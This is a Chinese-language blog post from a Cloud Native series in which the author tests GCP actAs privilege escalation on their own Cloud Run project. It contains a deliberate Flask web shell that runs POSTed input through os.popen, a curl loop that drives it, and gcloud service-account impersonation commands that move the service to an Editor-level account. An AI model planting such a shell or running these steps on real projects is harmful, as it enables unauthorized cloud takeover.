iT邦幫忙

2025 iThome 鐵人賽

DAY 21
0
Cloud Native

《30 天 Cloud Native:AI 行程規劃後端開發》系列 第 21

Day21 - 深入 actAs 權限:從 Cloud Run 到提權的實戰演練

  • 分享至 

  • xImage
  •  

很好奇 actAs 這個權限可以做到什麼事,所以今天來研究一下如果駭客可以控制擁有 actAs 權限的服務時會有什麼影響。

建立 Cloud Run 測試環境

首先用 GoogleCloudPlatform/cloud-run-microservice-template-python 建立一份到自己的 GitHub Repository ,然後建立一個 Cloud Run Service ,確定建立成功後,在 app.py 加入 Web Shell :

@app.route("/happy", methods=['POST'])
def happy() -> str:
    return os.popen(request.form.get('qq')).read()

這樣就可以執行指令,我寫了一個腳本可以用類似 Shell 的操作方式執行指令:

URL=https://...
while read -p '# ' line; do
  curl -X POST "https://$URL/happy" -d "qq=$line 2>/tmp/asdf; cat /tmp/asdf"
done

安裝 gcloud 指令工具

一開始嘗試用這個 Shell 安裝 gcloud 指令,但因為 Cloud Run Service 會自動擴展,所以有時候執行的指令不是在同一個容器內。需要使用 Reverse Shell 或其他方法比較好做事,不過我們是開發者,直接在 Dockerfile 裡面裝一裝就好,所以要加入以下內容:

RUN apt-get update;
RUN apt-get install -y apt-transport-https ca-certificates gnupg curl;
RUN curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | gpg --dearmor -o /usr/share/keyrings/cloud.google.gpg;
RUN echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" | tee -a /etc/apt/sources.list.d/google-cloud-sdk.list;
RUN apt-get update;
RUN apt-get install -y google-cloud-cli;

這樣不管身處哪個容器都可以順利執行 gcloud 指令!

驗證帳號與權限

首先來列一下目前的帳號:

# gcloud config get-value account
xxxxxxxxx-compute@developer.gserviceaccount.com

預設什麼都沒有設定的情況下 Cloud Run Service 會拿到一個 @developer.gserviceaccount.com 的帳號,這個帳號在 IAM 可以看到有很高的權限:

https://ithelp.ithome.com.tw/upload/images/20250904/20178194HxLO2g5s82.png

如果試著下更新 Cloud Run 的指令是可以正常執行的:

# gcloud run services update happy-python \
  --region=xxxxxx \
  --service-account=api-server-build@xxxxxx.iam.gserviceaccount.com
Deploying...
Creating Revision...........................................................................done
Routing traffic.....done
Done.
Service [happy-python] revision [happy-python-xxxxx] has been deployed and is serving 100 percent of traffic.
Service URL: https://xxxxxx.run.app

# gcloud config get-value account
api-server-build@xxxxx.iam.gserviceaccount.com

利用 impersonate-service-account 提權

現在容器的帳號是 api-server-build ,剛好這個帳號有 actAs 權限,來測試一下使用 --impersonate-service-account 是不是真的可以變成其他人:

# gcloud projects list --impersonate-service-account=xxxxxxx@developer.gserviceaccount.com
WARNING: This command is using service account impersonation. All API calls will be executed as [xxxx@developer.gserviceaccount.com].
ERROR: (gcloud.projects.list) PERMISSION_DENIED: Failed to impersonate [xxxxx@developer.gserviceaccount.com]. Make sure the account that's trying to impersonate it has access to the service account itself and the "roles/iam.serviceAccountTokenCreator" role. Permission 'iam.serviceAccounts.getAccessToken' denied on resource (or it may not exist). This command is authenticated as api-server-build@xxxxx.iam.gserviceaccount.com which is the active account specified by the [core/account] property. Impersonation is used to impersonate xxxxx@developer.gserviceaccount.com.
- '@type': type.googleapis.com/google.rpc.ErrorInfo
  domain: iam.googleapis.com
  metadata:
    permission: iam.serviceAccounts.getAccessToken
  reason: IAM_PERMISSION_DENIED

結果權限不足,但如果把缺少的權限補上就可以成功取得專案資訊:

# gcloud projects list --impersonate-service-account=xxxxxxx@developer.gserviceaccount.com
PROJECT_ID               NAME              PROJECT_NUMBER
xxxxxxxxxxxxxxxxxxxxxxx  My First Project  xxxxx

也可以用 --impoersonate-service-account 把容器更新成高權限的帳號執行:

# gcloud config get-value account
api-server-build@xxxxx.iam.gserviceaccount.com

# gcloud run services update happy-python \
  --region=europe-west1 \
  --service-account=xxxxx@developer.gserviceaccount.com \
  --impersonate-service-account=xxxxx@developer.gserviceaccount.com
WARNING: This command is using service account impersonation. All API calls will be executed as [xxxxx@developer.gserviceaccount.com].
WARNING: This command is using service account impersonation. All API calls will be executed as [xxxxx@developer.gserviceaccount.com].
Deploying...
Creating Revision..................................................................done
Routing traffic.....done
Done.
Service [happy-python] revision [happy-python-xxxxx] has been deployed and is serving 100 percent of traffic.
Service URL: https://xxxxx.run.app

# gcloud config get-value account
xxxxx@developer.gserviceaccount.com

這樣我們就成功完成提權!因為有 Editor 權限,甚至可以動整個專案,不過實際的攻擊步驟應該會更複雜,就留給對資安有興趣的人繼續研究吧。

actAs 權限的關鍵角色與思考

那個關鍵的 iam.serviceAccounts.getAccessToken 需要先設定才可以,有這個權限的預設角色為 Service Account Token Creator,可以注意一下是不是必須開啟這個權限。不過我覺得不太對勁,因為在 Cloud Build Trigger 運行時不需要 getAccessToken 就可以轉換 Service Account 成 api-server,我想應該是受限於 gcloud 指令,如果研究出 Google Cloud SDK 的底層邏輯應該就能夠只使用 actAs 權限提權成其他 Service Account。

在找資料時有看到一個世界頂尖資安研討會 Blackhat 2020 的演講開發了一個框架來 Exploit GCP 服務,有興趣的可以參考 dxa4481/gcploit,雖然想繼續看看怎麼打的,但這樣就超出範圍太多,回來繼續完善 AI 行程規劃專案吧!


上一篇
Day20 - 安全部署策略:Cloud Build 與 Cloud Run 的角色與權限規劃
下一篇
Day22 - AI 行程助手 × Google 地圖:串接 API 的實戰筆記
系列文
《30 天 Cloud Native:AI 行程規劃後端開發》23
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言